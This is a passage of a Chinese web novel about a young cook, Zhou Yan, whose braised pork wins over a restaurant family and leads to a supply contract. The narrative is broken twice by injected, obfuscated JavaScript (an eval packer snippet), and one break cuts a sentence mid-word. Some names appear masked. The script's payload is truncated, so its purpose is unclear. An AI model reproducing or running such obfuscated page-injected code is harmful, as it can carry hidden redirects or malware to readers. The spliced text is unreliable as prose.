“真的？咱们的壮骨汤可是好多客人每个星期都要来喝的，传承上百年了，当年咱们祖祖就是靠着一锅壮骨汤把飞燕酒楼开起来的。”**有点不信，也不急着啃猪蹄了，拿了勺子给自己舀了半碗汤。 她倒是学聪明了，没有急着端碗喝，拿勺子舀起，小口吹了吹，这才喂到嘴里，眼睛顿时亮了起来。 鲜！香！ 牛骨汤怎么才能熬出这样的鲜味和浓香来啊？！ 汤色看起来十分清澈，鲜味却直冲天灵盖，感觉眉毛都要飞走了。 **从小好吃，又会撒娇，他爸去探访名店、拜谒名厨都会带着她，别看她今年才十八，她这张嘴吃过的好东西，比不少老饕都要多。 东西好坏，她尝一口心头就有数。 这碗牛肉汤确实比他们飞燕酒楼的壮骨汤更鲜，也更清爽，除了牛骨和牛肉的鲜香，她还尝到了一些特别芳香，感觉像是中药与香料混合的气味，但在这汤中并不突兀，反而起到了提鲜增香的效果。 当然，他们家的壮骨汤也有独到之处，百年传承，除了味道好，主要还是强筋壮骨的功效深入人心，得到了不少中老年人的喜爱。 可刚刚赵嬢嬢的话她也听到了啊，这跷脚牛肉，滋补祛湿，也是药膳啊！ 周砚太厉害了！ 不光炒菜、烧菜做得好，竟然连汤也炖的如此鲜美。 勺子一口接着一口，半碗汤也很快下了肚。 黄兵不语，只是一味加速度，一块又一块地吃着碗里的牛肉和牛杂。 “啪！” **的筷子按住了他的筷子，冷声道：“这剩下三块牛肉是我的了！我刚刚数过，一共六片，你已经吃了三片！” 黄兵陪笑道：“我是你亲哥啊，算的这么明白干什么，你还有一只大猪蹄没吃呢。” “牛肉不行，别的你可以多吃两块。”**刷刷把牛肉夹到自己的蘸碟里，裹上辣椒面，先尝了一片。 这牛肉切的片大薄软，入口相当滑嫩，比家里吃的火锅烫的吊龙还嫩！ 这火候把控的太到位了。 还有这辣椒面，好香啊！ 香辣中带点微微的麻，咸香适口，犹如点睛之笔，给这鲜美的牛肉添了滋味。 这吃法和老妈蹄花类似，汤味要清淡鲜美，但必须配一个足够有味道的蘸碟，这才是属于四川人的吃法。 她又尝了脆爽的毛肚和软糯的蹄筋，以及耙软的牛肠，各有风味。 “周砚怎么这么厉害？啥都能做的这么好吃？”黄兵凑过来，小声说道。 **想了想道：“他，大概就是厨师界万中无一的天才。” 这句评价，不带一丝花痴。 她跟着他爸吃过许多名厨做的菜，单要论灵气，周砚做的这几道，绝对是独一档的。 火候、调味，把控到了极致。 确实有水平。 “难怪老汉儿那么看重他。”黄兵若有所思，那以后喊周哥，还是砚哥呢？周哥苏稽镇上没三百也有两百个，还是喊砚哥好了，显得亲近。 天才，多么稀奇的字眼啊。 那肯定得提前把关系处好啊。 他从小在酒楼长大，他爹待人接物那一套还是学了五六分的。 “我要吃猪蹄了！”**放下筷子，一脸庄重的抓起卤猪蹄的两端，张大嘴巴咬了一口。 颤巍巍的猪皮一抿就从骨头上脱了下来，蹄筋给软软糯糯的，一口下去，肉汁在口腔里四溅，感觉灵魂都随之颤了颤。 好香啊！ 这一口热卤猪蹄咬下去，实在是太满足了！ **爱吃卤猪蹄，赵记的卤猪蹄她三天吃一个，坚持五年了，是她心中的小甜甜。 一般买回家是冷的，她还会自己上锅蒸热，就爱吃这口软软糯糯，入口即化的感觉。 可今天…… 赵记的卤猪蹄，在她心中的地位瞬间下滑到了第二位。 周砚的卤猪蹄荣登榜首。 她突然能理解老汉的那些吐槽了。 卤水的差距太大了！ 卤水是卤味的灵魂，是它赋予了猪蹄、猪头这类原本不受待见的食材灵魂，让它们得到食客的喜爱。 她之前一直觉得赵记的卤水极好，香味浓郁，色泽也漂亮，卤出来的肉还挺香的，比别家好吃多了。 可在周砚的这只卤猪蹄面前，赵记瞬间沦为路边一条。 这绝对是一锅老卤，卤汁的香味非常醇厚，香料调和的相当完美，香而不腻，余味微甜，因为用的是正儿八经的糖色。 **又咬了一口，越嚼越香，这味道可真的太绝了。 黄兵本来不想吃的，可**的吃相实在太诱人，感觉这卤猪蹄又软又香的，在她手里一晃，还颤颤巍巍的。 可惜囊中羞涩，确实拿不出一块二来吃一只卤猪蹄了。 这会工厂已经下班，纺织厂的工人们涌入饭店，落座点餐。 “赵嬢嬢，今天还有猪蹄不？我们要一个！”旁边那桌的女工开口问道。 “除了预定的，还有五个，我给你点上嘛。”赵铁英笑着应道。 **闻言，眉梢一挑，伸手抓了一片卤猪耳朵喂到嘴里，嚼了嚼咽下，立马跟着道：“赵嬢嬢，我也再要一个卤猪蹄，再要一只卤猪耳朵，一个卤猪拱嘴，半斤卤猪头肉。” 黄兵闻言眼睛一亮，露出了欣慰的笑。 还得是亲妹啊，小时候没白疼。 不过这点的有点多吧？他们的卤猪耳朵和卤猪拱嘴还没吃呢。 “再加，你们吃不完吧？”赵嬢嬢有些迟疑的看着**，这姑娘性格好，嘴也甜，但有钱也不能这么浪费啊。 “嬢嬢，你先给我留着，等会我们吃完了打包带回去。”**笑着道：“我妈爱吃卤猪蹄，我觉得你们家的卤猪蹄可太好吃了，我要带回去给我妈尝尝，再给我老汉带点下酒菜回去。” 黄兵不笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这猪蹄也卖的太好了吧？ “铛！” 黄兵的碗里多了一个猪蹄尖尖。 黄兵抬眼。 “给你尝个味道，放心，用手掰的，不是咬的。”**看着他笑。 “其实我也没得好想吃……” “那还给我！” “吃吃吃！”黄兵伸手就把那猪蹄尖抓起啃了起来。 嗯！好香！ 皮好软啊！蹄筋嚼起来软糯糯的，有点黏嘴巴。 卤猪蹄好好吃啊—— 明天必须吃一个！ 这妹妹，没白疼。 吃完猪蹄洗了手，**还吃了一碗米饭。 油渣炒莲白味道还行，没其他菜那么惊艳，中规中矩，挺下饭。 炒素菜嘛，中规中矩就够了。 也没哪家酒楼把三四毛钱一盘的素菜炒出绝世好味来的，那肉菜还咋卖啊。 付了钱，兄妹俩拿上打包好的卤肉，骑车返城。 “这一天跑三个来回，怕是一个月就要瘦十多斤哦，挺好。”赵嬢嬢看着**庞大的背影，笑着自语。 **觉得平平无奇的油渣炒莲白，今天却成了工人们的新宠，只要是结伴来吃饭的，基本都点了一份。 四毛钱一份，在炒菜和烧菜里边是最便宜的！ 份量不少，油水充足。 纺织厂的员工，有几个不想念肖师傅炒的油渣炒莲白。 “嗯，就是这个味道！跟肖师傅炒的大差不差！” “价格便宜，但味道不撇！这油水比食堂的足多了，火候和口感也更好！” “这油渣好香哦……” 工人们赞不绝口，周砚在后厨锅铲都快挥出火星了。 天气凉快了，莲花白能放三四天，跷脚牛肉也用得着，周砚一般会备两天的货，随用随补。 所以客人点多少，油渣炒莲白都有货。 厨艺这种东西，就是一铲子一铲子翻出来的。 【一份不错的油渣炒莲白】 现在他已经能够稳定出餐，且每一份都保持在‘不错’的水准。 感觉对了，甚至刚刚还炒出了一份【相当不错的油渣炒莲白】。 只要每天高强度的炒炒炒，周砚觉得他的水平必然快速提升。 果然，唯手熟尔。 油渣炒莲白这道新菜，短时间内对营业额的提升是有限的，甚至可能会拉低客单价，让营业有所回落。 不过一道低价菜，能够一定程度的降低进店门槛。 比如点一份油渣炒莲白，再点一份火爆猪肝，三个人吃，只需一块二，人均只需要四毛钱，比吃面还便宜。 可只要养成了时不时来吃一顿的习惯，那必不可能每次都吃油渣炒莲白，长期来看，等于拉了一个新客。 这就是许多餐厅会推特价菜的原因。 一份四毛钱的油渣莲白，成本约一毛，毛利能做到三毛钱，相当可观的利润率。 客人吃的开心，他赚的开心，挺好。 他现在期待的是黄鹤吃到他做的卤味之后，会不会主动来苏稽找他。 飞燕酒楼能否成为他的卤味走出苏稽的第一个客户。 …… 飞燕酒楼，一楼店堂。 黄鹤和赵淑兰坐在实木柜台后边，看着柜台上一字排开的四个油纸包，都露出了意外之色：“打包的卤肉？赵记的？” **看着黄鹤说道：“老汉儿，你最近不是在考察卤肉店，想招个卤肉师傅，或者招个卤味店供应卤肉吗？” “嗯，是有这个打算，客人经常问起，喝酒还是要整点卤味嘛。”黄鹤点头，这事他在家跟赵淑兰谈过几次，没想到**倒是记在心里了。 “你们来看看这个卤肉如何。” **拿了四个盘子，把油纸包拆开倒入盘子里，摆在了一旁的圆桌上。 黄鹤和赵淑兰都走了过来，瞧着桌上四盘卤肉，眼睛一亮。 切得纤薄的卤猪耳朵，色如琥珀，中间点缀着白色软骨。 卤猪拱嘴也切得很薄，卤猪头肉则有点厚度，色泽红亮，泛着油光，看起来相当诱人。 最显眼的还是那只大卤猪蹄，横在盘子里，油亮油亮的，看着就好吃。 “这不是赵记的，看着真不错啊。”黄鹤左右打量着，连连点头，“切卤肉的师傅刀工也好，耳片就是要薄，吃一个薄脆的口感，但猪头肉偏偏要厚点才更有嚼劲和滋味。” “你尝尝。”**给他递了双筷子。 黄鹤先夹了一片卤猪耳朵喂到嘴里，咀嚼越来越慢，似乎想要细细品味什么，又像是在思索。 咽下后，他又夹了一块猪头肉喂到嘴里，只嚼了几下，脸色骤然大变。 求月票~~晚上还会加一更！   (本章完) 第130章 怎么？还要帮他追嫂子啊？（4000月 “沃日！” “张嬢嬢出山卖卤肉了？！” “你在哪里买的！” 黄鹤一脸震惊，说话的语气又带着兴奋与急切。 这个味道，他已经二十多年没有吃过。 很多记忆已经模糊，但当卤猪头肉在嘴里嚼开的刹那，似乎一切都回来了。 儿时到青年，这个味道一直都存在。 飞燕酒楼那几年卤肉卖得极好，但客**都不知道，其实飞燕酒楼并没有卤肉师父，这卤肉都是从苏稽张氏卤味进的货。 每天一早，酒楼负责采购的表叔就会赶着马车去苏稽，把几十斤卤肉装上车，运回飞燕酒楼，在后门卸的货，盖的严严实实。 连厨师长都不知道卤肉从哪运来，他爷爷对外声称是祖传的手艺，老宅有锅百年老卤，肉在老宅卤好了再运到酒楼，当时还传为了佳话。 卤肉到了店里，有客人点的时候，再让刀工最好的墩子负责切。 耳片要薄的透光，猪头肉切成一钱厚，牛肉…… 他从小在后厨长大，记忆被翻开，一下子全想起来了。 后来酒楼被收归国有，负责接待一些重要客人，他们黄家得以继续经营，也曾被迫关门了一段时间。 那些年，张嬢嬢也不再摆摊，卤肉从此在飞燕酒楼的菜单上消失了。 前两年酒楼判还黄家，重整开业，在老主顾们的支持下，生意越发红火，已经基本恢复往日的辉煌。 老主顾们对当年的卤肉念念不忘，时常问起。 黄鹤只能以百年老卤被毁，老爷子已经仙逝，虽然留下了秘方，但养卤水还需要一些时间搪塞过去。 他前年去周村找过张嬢嬢，想让她继续提供卤肉，或者将卤肉的配方卖给他。 价格出到一千，依旧被她拒绝了。 那之后他吃遍了嘉州的卤味店，包括所有乡镇上有点名气的卤味摊子，始终找不到能够与之媲美的卤肉。 差得太远了！ 远到让他这个满心想要挣钱的资本家，都觉得没法拿来糊弄食客。 会问卤肉的都是些什么客人？ 那都是二十多年前能上飞燕酒楼吃饭的，非富即贵。 哪怕有的现在落魄了，那张嘴也是吃过好东西，能分得清好坏的。 近来酒楼发展不错，生意越发红火，包席也做得有声有色。 他已经开始考虑去蓉城招一个凉菜师傅回来，专门负责卤肉和凉菜。 哪怕老主顾们没那么满意，也得把菜品丰富起来。 这段时间因为这事，可把他愁的不行。 圈子里的朋友推荐了几位凉菜师傅，他们夫妻俩去试过菜。 其实卤肉和凉菜做的还行，在业内有些名气，但他总觉得差点意思。 因为这，他还挨了赵淑兰一顿打。 说他事多，就知道挑刺。 给黄鹤委屈的啊，狠狠饿了自己一顿。 飞燕酒楼卖过顶好的卤味，让他将就，他难受啊。 就像男人年轻的时候不能经历太惊艳的女人，不然后面遇见的都觉得差点意思。 赵淑兰二十多年前嫁过来的时候，张嬢嬢的卤肉摊刚关。 她没吃过，她不懂。 但她足够残忍，独断**，刚刚已经在逼迫他拍板决定凉菜师父的人选，明天就去请人。 然后…… **打包着这四盘卤肉回来了。 他吃了差点跳起来。 这不是要啥来啥吗？！ “一惊一乍干啥子？”赵淑兰拍了一下他。 “你尝尝！你尝完就明白为什么我不想找那几个凉菜师傅了。”黄鹤把筷子塞她手里，信心满满道。 赵淑兰拿过筷子，夹了一块卤猪头肉喂到嘴里，细细嚼着，眼睛也随之亮了起来。 吃完一块猪头肉，她又夹了两片卤猪耳朵喂到嘴里，嚼起来有细微的咔嚓声，脆爽又入味。 “这肉卤的太好了！”赵淑兰放下筷子，一脸惊艳地看着黄鹤：“确实比那几个凉菜师傅卤的都好，这锅老卤水味道好正！而且肉的火候也控制的很到位，卤猪头肉软糯，卤猪耳朵脆爽，确实好手艺。” “这就是我跟你说的嘉州第一卤，当年名动苏稽的张氏卤味，我没说错吧？”黄鹤一脸得意地双手抱胸道：“**、黄兵，告诉你妈，这是哪买的？” “周二娃饭店。” 两人异口同声道。 “啥？” 黄鹤和赵淑兰同时转头看向**。 一人震惊，一人意外。 “就是咱们昨天吃的饭店，这卤味是周砚卤的，我中午吃了一个卤猪蹄，又点了卤猪耳朵和卤猪拱嘴。 我吃完觉得这是我吃过最好吃的卤肉，想到你们最近不是在为卤肉师父人选发愁吗，就特意给你们打包回来试吃一下。”**笑着道： “妈，那卤猪蹄是给你带的，超好吃的！不过有点冷了，一会我给你蒸一下，吃一整个热卤猪蹄简直美**。” 黄鹤和赵淑兰听完消化了一会。 “还是你最乖，想得到妈妈。”赵淑兰笑着伸手摸了摸**的头，摸到一头汗后收回手，往黄鹤背后蹭了蹭。 黄鹤这会根本不在意这些，皱着眉头道：“卤肉是周砚做的，味道却和张嬢嬢做的一模一样，这说明了什么？” “说明周砚继承了张奶奶的传承，做出了当年风靡嘉州的卤肉。”**接过话道，“他实在太厉害了！” “不愧是我女儿！既有发现美味的灵敏味觉，又有解决问题的敏锐洞察力，带回这几份卤肉，可是解决大问题了。”黄鹤称赞道。 “说人话，你现在怎么打算？”赵淑兰说道。 “我们飞燕酒楼的目标是成为嘉州第一酒楼，要加卤肉，那肯定加最好的。”黄鹤看着赵淑兰道：“我打算现在就出发去苏稽，和周砚谈合作的事情，让他像当初张嬢嬢一样，给我们飞燕酒楼提供卤肉。” 说着，他就要往门口走。 “站到！”赵淑兰一把按住他，看了眼左右，“走，跟我去二楼包间。” **小碎步跟上。 关上门，赵淑兰从柜子里取出算盘，噼里啪啦打了一通，看着黄鹤道：“这卤肉确实不错，是比别家味道要好一些，但你有没有想过，如果我们用的量多，比方说一天五十斤。 自己请凉菜师傅一个月工资两百块钱，但一斤卤肉多五角钱的利润，那一天就是二十五块钱，一个月是七百五十块钱，一年就能多挣五千。” 黄鹤听完笑着摇头：“淑兰，你账比我算的好，但这账就不是你这样算的。” “那你说怎么算？”赵淑兰把算盘推到黄鹤跟前。 “我这账不用算盘，你就说你随便找个凉菜师傅，凭啥保证客人一天能点出五十斤卤肉？”黄鹤笑着说道：“但我亲眼见过这种盛况，一天一百斤卤肉，能全部卖完，一半堂食，一半外带。有些府上办宴席，都遣小厮来酒楼打包带回去。” “为啥？” “客人吃的就是那一口好味道，念念不忘，去别家就尝不到，转一圈，还得来你这。” “我打个比方，外面的卤猪头肉卖两块二一斤，咱们要是用这卤猪头肉，切一盘四两，用最好的盘子摆盘，往这包间桌上一摆，能卖两块。” “客人吃完觉得味道好，那下回还来，还点，家里有贵客要招待，也乐意来店里打包回去宴客。客人吃了觉得好，问一嘴，下回就来咱们店里吃饭。” “卤肉要是好，在桌上就是主菜。你以为客人念念不忘的是咱们这包间？错了，是那一口味道。” “这账，算盘算不清的。” “当年我老汉最遗憾的事情，就是买不到张嬢嬢的卤味，现在这味道被周砚传承下来了，我肯定是继续沿用的。” **听完若有所思。 赵淑兰琢磨了一会，也是点点头：“我觉得你说的有道理，不过一份卤猪头肉卖两块钱，还是太草率了。” 黄鹤扬起的嘴角都快能挂个茶壶了，难得哦，还能从赵淑兰嘴里听到前半句话。 “打个比方嘛，定价肯定还是你来撒，你更专业。”黄鹤也不敢太过得意，“我们要是拿得多，价格肯定可以跟周砚谈，当初我老汉找张嬢嬢拿，价格比她的零售价便宜两成，就按这个比例谈应该没问题。” 赵淑兰微微点头，看着**问道：“**，他的卖价是好多？” “卤猪头肉是两块五，卤猪耳朵和卤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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真是拿她没办法。 “好，我给你一起寄给她。”周砚走到桌边，把画纸小心对折，抽出信纸，拧开钢笔在最后补了两句。 最后备注说明：这不是他找周沫沫定制的！ 写完这句，他就有点后悔了。 有种欲盖弥彰，此地无银三百两的感觉。 抠脚！ 算了，他也懒得再抄一遍，和画一起叠好塞进信封。 把周沫沫稍上出门，先绕到张记买了三斤米花糖和一斤花生糖，然后去了邮局连同那封信一起寄给夏瑶。 主打一个礼尚往来，她送周沫沫蜡笔，他回一包零食。 周沫沫抱着一包米花糖，坐在邮局门口的长椅上，手里捏着半块，咔嚓咔嚓嘎嘣脆，嚼的可香了。 把一旁守门的大爷都看馋了。 小家伙不吃独食，抓了一块，起身走过去递给老爷子，奶声奶气道：“爷爷，你也吃！” “你吃，你吃，爷爷不吃。”老爷子连连摆手。 “吃嘛，我还有那么多。”周沫沫把米花糖直接塞到他手里，有些得意的笑了：“香得很~” “要得。”大爷也跟着笑。 周砚从邮局出来，牵起她的手：“走，回家。” “爷爷再见。”周沫沫还不忘回头跟大爷招手告别。 “再见。”大爷挥着手，笑得眼睛都瞧不见了，等自行车消失在街头转角，这才拿起米花糖咬了一口。 嗯，抿甜！ 今天回去要把那龟儿子打一顿，看看怎么还生不出个孙女来！ …… 周砚知道黄鹤会来，但没想到来的这么快。 他刚回到店里，黄鹤夫妻俩的自行车就到饭店门口了。 黄鹤下了车，站在门口笑着道：“周砚，我有个事情想找你商量一下。” —— （米花糖） PS：4k加更！万更求月票~ 求月票！   (本章完) 第131章 这小子，背着我们偷偷干大事啊！（ 周砚笑着把黄鹤夫妻迎进店来，给他们泡了茶，在他们对面坐下，微笑道：“黄老板，你有什么事情跟我商量？” “今天**在你这里吃了卤肉，觉得十分美味，给我们也打包了一份。”黄鹤看着周砚道：“卤肉确实美味，但我觉得味道非常熟悉，不晓得当年在苏稽桥头卖卤肉的那位张嬢嬢跟你是啥关系啊？你是跟她学的手艺吗？” “你说的那位张嬢嬢，应该就是我奶奶。”周砚笑着点头：“我的卤肉手艺，确实是跟着她学的。” “难怪！”黄鹤拍手站了起来，神情难掩激动：“我就说味道一模一样！你这手艺学得好哦！把精髓全学到位了！” 赵淑兰扫了他一眼，立马又缩回到椅子上。 没办法，等了二十多年，实在是太激动了，哪怕路上赵淑兰对他再三告诫，但听到周砚确切的话语时，黄鹤还是忍不住上头了。 周砚嘴角微微上扬，从黄鹤的表现来看，这合作应该是稳了。 “周老板，我们今天过来，主要是想和你谈合作的。”赵淑兰微笑道：“不知道你奶奶有没有和你说过她摆摊的年代，和我们飞燕酒楼在卤肉上的合作，我们现在有意与你续上这份合作，从你这里每日订购卤肉。” 开门见山，周砚喜欢这种聊天方式。 看得出来，赵淑兰应该才是飞燕酒楼的话事人。 “我奶奶确实跟我提过她之前给嘉州不少酒楼、饭店提供卤肉，但没有提具体的店名。”周砚淡然道：“如果是每日订购卤肉的话，那自然是没问题的，卖给散客是卖，卖给你们也是一样的，价格合适，都可以谈。” “我天天惦记着张嬢嬢，可她连提都没有提过我们飞燕酒楼吗？”黄鹤一脸受伤，有种错付的感觉。 “倒也不是没提过。”周砚笑着道：“我奶奶之前跟我说过飞燕酒楼，说黄老板有个小儿子，小时候经常跟他老汉来苏稽拿卤肉。” “是我就是我！”黄鹤高兴的指着自己。 周砚一脸疑惑：“我奶奶说，那小儿子叫黄小鸡的嘛，黄老板……” 黄鹤脸上的笑容一凝，略显尴尬。 一旁的赵淑兰憋不住笑了，看着黄鹤道：“黄小鸡是谁啊？黄小鸡……” “哎呀，我就是黄小鸡！”黄鹤一摆手，无所谓道：“老辈子都喊得小名，自从我老汉走了以后，我都好多年没听人这样喊我了。” 周砚闻言也笑了，感觉关系倒是一下子拉近了不少。 今天老太太跟他聊了几句飞燕酒楼，当年他们的合作关系确实处的很不错，很重要的一点，就是飞燕酒楼从不赊欠，每天不管拿多少货都能做到钱货两清。 黄家人做买卖，公道。 而且飞燕酒楼也确实做得好，当年嘉州富商、名流最爱去的，就是飞燕酒楼。 黄鹤看着周砚道：“当初张嬢嬢给我们供货，是按照她卖价降两成的价格给我们，你觉得这个价格怎么样？如果合适的话，我们按照这个价格合作也是可以的。” “降两成吗？”周砚面露思索之色。 卤猪头的利润率他卡的是五成半左右，降两成的话，他还有三成半的利润。 利润率不高，但能走量。 而且不需要他负责切，节省了人工。 这一点和供应给他师父他们坝坝宴用是一样的。 卤猪头肉两块，卤猪耳朵和卤猪拱嘴两块四，黄鹤提出的这个价格，诚意还是比较足的。 周砚的定价，本就比苏稽这边的市场价普遍贵三毛钱。 对方把卤肉批发回去，肯定要对外销售。 能卖什么价是对方的本事。 但利润空间要给对方留够，合作才能长久。 周砚没有急着点头，转而问道：“你们一天能要多少量？每天是你们自己来取货，还是需要我给你们送货上门？” 赵淑兰看着周砚的目光多了几分欣赏，这年轻人做事太沉稳了，不骄不躁，不说黄兵了，连黄鹤都不如他。 她开口道：“前期我们每天保底要两个猪头，后面口碑做起来了，再按照销量来增减。不用你送货，也不需要你帮忙切，我会让黄兵每天来取货，结现钱。” 瞧瞧，这就叫专业！ 猪头按个买，不单独提猪耳朵和猪拱嘴。 这年代一头猪就两个耳朵，你要多的，那别家就没有猪耳朵，光卖猪头肉，不合适。 “行，那就按这个价钱来定。”周砚点头。 对方有诚意，又洒脱，那他也不是扭捏的人。 黄鹤和赵淑兰闻言，脸上都露出了笑容。 来的路上，两人商量了不少应对之策。 如果周砚对价格不满意，要怎么谈判，底线价格是多少，实在谈不下来是否要去找张嬢嬢打打感情牌。 以及来了之后，可能要对谈的不止周砚一个，还有他爸妈肯定也有别的想法。 周砚和黄兵、**差不多大，在他们眼里和孩子差不多，总觉得他做不了主。 结果进了店，茶一泡，谈的意外顺利。 没有扯皮，也没有装腔作势。 周砚他妈抱着睡着了的妹妹坐在柜台后边，除了进门的时候打了声招呼，整个过程一句嘴都没插。 周砚一个人就把事情定了。 看得出来，他并非唐突**躁做的决定，沉稳的像个老道的商人。 “除了卤猪头，卤牛肉什么时候上？手艺学到家了吗？”黄鹤有些迫不及待的问道。 当年飞燕酒楼卖的最好的其实是卤牛肉，一天能卖出去三十多斤，逢年过节卖的更多。飞燕酒楼从张嬢嬢那里拿到了嘉州卤牛肉专供权，为此一年还要单独给张嬢嬢一笔额外的专供费用，要的就是唯一性。 “卤牛肉确实还差点意思，因为价格太贵，所以练的少，可能还要再等一段时间。”周砚坦白道，“不过后续肯定是会上的。” 黄鹤闻言有点失望，不过看着周砚还是感慨道：“年纪轻轻能把卤猪货做到这种程度，已经相当厉害。” “过奖。”周砚谦虚道。 “那等你的卤牛肉出师，我们飞燕酒楼能不能跟你签一个嘉州城区卤牛肉专供合同？”黄鹤说道。 “专供？”周砚疑惑。 黄鹤说道：“你的卤肉肯定如张嬢嬢当年一样，要卖到嘉州各饭店，但卤牛肉这个单品，能不能只给我们飞燕酒楼提供。 我会每年额外给你一笔专供费用，用来弥补你少卖的那些卤牛肉的钱，当年我们飞燕酒楼和张嬢嬢就是这样合作的。 只要我们把口碑重新做起来，卤牛肉要的量会比较大，一天能卖几十斤，比你给那些小饭店一家两三斤的卖要来的快。” 赵淑兰也看着周砚，神情略有紧张。 今天这趟来，除了谈价，卤牛肉专供也是非常重要的一条。 如果没有差异化，一旦周砚的卤肉在嘉州全线铺开，他们也就无法拿卤牛肉来讲故事拉高单价了。 周砚略一思索便摇头道：“不好意思，这个协议我没法签。” “为什么？当初我们这样合作了二十多年呢。”黄鹤不解道。 周砚微笑着解释道：“你现在无法给我保证牛肉的订购数量，预期是没法拿来谈判的，嘉州的市场那么大，你们空口说几十斤的量就要拿专供协议，我没法给你们。 反正现在卤牛肉尚未推出，你们也不必着急，不如先把卤猪头肉等口碑做出来，量上去了，卤牛肉能卖多少心里也就有数了，再来谈专供也不迟。 不然我现在张口要你一千一年的专供费，结果你一年卖卤牛肉还赚不到一千块，岂不纯亏本？” 黄鹤面露思索之色。 赵淑兰已是点头道：“周老板说的没错，你考虑的比我们更周全，那就按你说的来，我们先卖卤猪头，把销路打开再谈其他。等你推出卤牛肉的时候，咱们再好好谈一谈。” 周砚笑着点头：“没问题，只要条件合适，我肯定优先考虑老客户，大客户。” 双方握手言欢，周砚拿出纸笔，直接草拟了一份卤肉合作协议。 双方约定价格，以及每日取货时间，且每日卤肉钱货两清，绝不赊欠。 “你这字写的真不错，还有笔锋呢。”赵淑兰看着周砚写协议，忍不住称赞道。 “可不是，黄兵写的字跟鬼画符一样，虾子在纸上都爬的比他写的好看。”黄鹤跟着点头，一脸恨铁不成钢。 周砚笑了笑，没搭话，免得拱了火，让黄兵受无妄之灾。 该说不说，他也算在他这里领了长期饭票的VIP客户呢。 一式两份的协议，双方签字画押。 黄鹤和赵淑兰揣着协议，心满意足的回去了。 周砚拿着协议，脸上也是露出了笑容。 嘉州第一个大客户，拿下！ 相比于那些零散小客户，这样的大客户一个顶十个。 牛肉专供的事情周砚没有急着答应，除了跟他们说的那个原因之外，其实还有很重要的一点，就是他将来可能也会去嘉州开饭店。 不能为了一点专供费，把自己的路给堵上啊。 生意人总想着给自己创造最有利的条件，这点黄鹤并没有错，当年老太太就是这么和他们合作的。 可周砚和他奶奶最大的区别，就是他并不打算守着苏稽过一辈子。 先决条件一变，经验也就不成立了。 赵铁英把睡着了的周沫沫抱到二楼，下楼来才开口道：“这么顺利就拿下第一个合作，你还是有点厉害哦。” “赵嬢嬢指导有方的嘛。”周砚笑着道。 “不错不错，继续保持。”赵嬢嬢脸上的笑容愈发灿烂，又随口问道：“那其他饭店你还准备去找不？” 周砚笑着道：“我打算暂时先缓一缓，给他们一些时间做口碑。”周砚摇头，“他们说的有些道理，小饭店一天只消耗三四斤的量，找十家不如他一家。 如果他们能把卤味口碑做起来，一天要得到几十斤的量，那飞燕酒楼周边一片的饭店我都不会给卖，不去做背刺大客户的事。” 这其中的门道，早上老太太其实也跟他聊过。 大酒楼最看重的就是名声。 张记卤味味道好，卖相好，大酒楼拿回去切好，往那些漂亮的盘子里一摆，端上桌，价格直接翻倍。 但这事有个前提，那就是这卤肉对外必须宣称是自家做的。 百年老店配上百年老卤，卤肉味道又好，客人心甘情愿就把钱给掏了。 但客人要是知道你这卤肉是从乡镇卤肉摊上来的，心里就会有个疙瘩，觉得你值不起这个价。 哪怕是同一块卤肉，味道没有任何区别，身价立马就不一样了。 老太太没野心，但心里门清。 她从来不会在外边说哪家酒楼是从她这里拿的货，闷声赚小钱。 合作的酒楼十几二十年不变，都乐意从她这里拿卤肉，就是这个原因。 这一点，周砚得学。 推着自行车出门，周砚去找刀儿匠多预定两个猪头。 …… “周砚年纪轻轻，但说话办事却格外老道，这年轻人，将来肯定有大出息。”赵淑兰坐在后座上，有些感慨道。 “可惜不是我儿子啊，我要有这么一个儿子，我现在马上就退休，带你到处吃吃喝喝玩去。”黄鹤也是一脸惋惜，连连摇头：“你说，咱们怎么就生出黄兵这么个败家玩意。” “黄兵这性子，一时半会是扭不回来了。”赵淑兰也叹了口气，又道：“莺莺倒是让我挺意外的，这孩子虽然好吃，但确实吃的明白，还挺机灵。吃到好吃的卤肉，第一时间能想到酒楼缺啥，这点是个黄兵都比不上。” “我就说莺莺随我吧，嘴巴够刁，好坏一口就能分得清。”黄鹤跟着笑：“我看将来这飞燕酒楼还是得交给莺莺，要是交给黄兵，怕是半年就给他换酒喝了。” 赵淑兰闻言沉默了一会，道：“你说周砚和咱莺莺，能不能成啊？” 黄鹤突然一捏刹车，回头看着赵淑兰，两眼放光：“这倒是个好主意啊！儿子这辈子是没希望了，但女婿也是半个儿啊！” “你兴奋个屁啊。”赵淑兰哭笑不得的拍了 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重新蹬着自行车离开，黄鹤还是忍不住嘀咕了一句：“要是有个这样的女婿，那就太好了……” …… 纺织厂，家属院。 孟安荷手里抓着一把筷子，看着正拿着饭盒分饭的林志强说道：“我姐给我写了封信，问我周砚的事情，你说我该怎么回？” “谁？”林志强手一顿，一脸不可思议的回头。 “还能有谁，瑶瑶他妈！”孟安荷笑道，“昨天收到的，洋洋洒洒写了三页，就一页是关心我这个亲妹妹和他两个外甥的，其他两页问的全是周砚的情况。” “你姐怎么突然问起周砚啊？瑶瑶落水的事情不是已经了结，让他们不用放在心上……”林志强一顿，眼睛睁大了几分，“等等！不会是瑶瑶给她妈写信提到周砚了吧？” “还真给你猜对了。”孟安荷从林志强手里接过饭碗，放到一旁的桌上。 “瑶瑶说啥了？能让你姐那么紧张，肯定说了些不太一样的话吧？”林志强把另外三个碗一起端了过来，一脸八卦。 “我姐在信里说，瑶瑶从来没有跟他们在信里提过其他男生，包括男同学。但前两天给他们寄的信里，可是把周砚一通好夸，写了足足一页纸呢，从文字里都能看出她写他的时候嘴角肯定是上扬的。”孟安荷啧啧道：“你说我姐能不急吗？那字都力透纸背了，带着杀气！” “周砚这小子，背着我们偷偷干大事啊！”林志强闻言忍不住笑了。 大姨子是何等清冷从容的国画大师啊，能让她笔下带着杀气，必然是从夏瑶的信里感受到了一些不同寻常的信息。 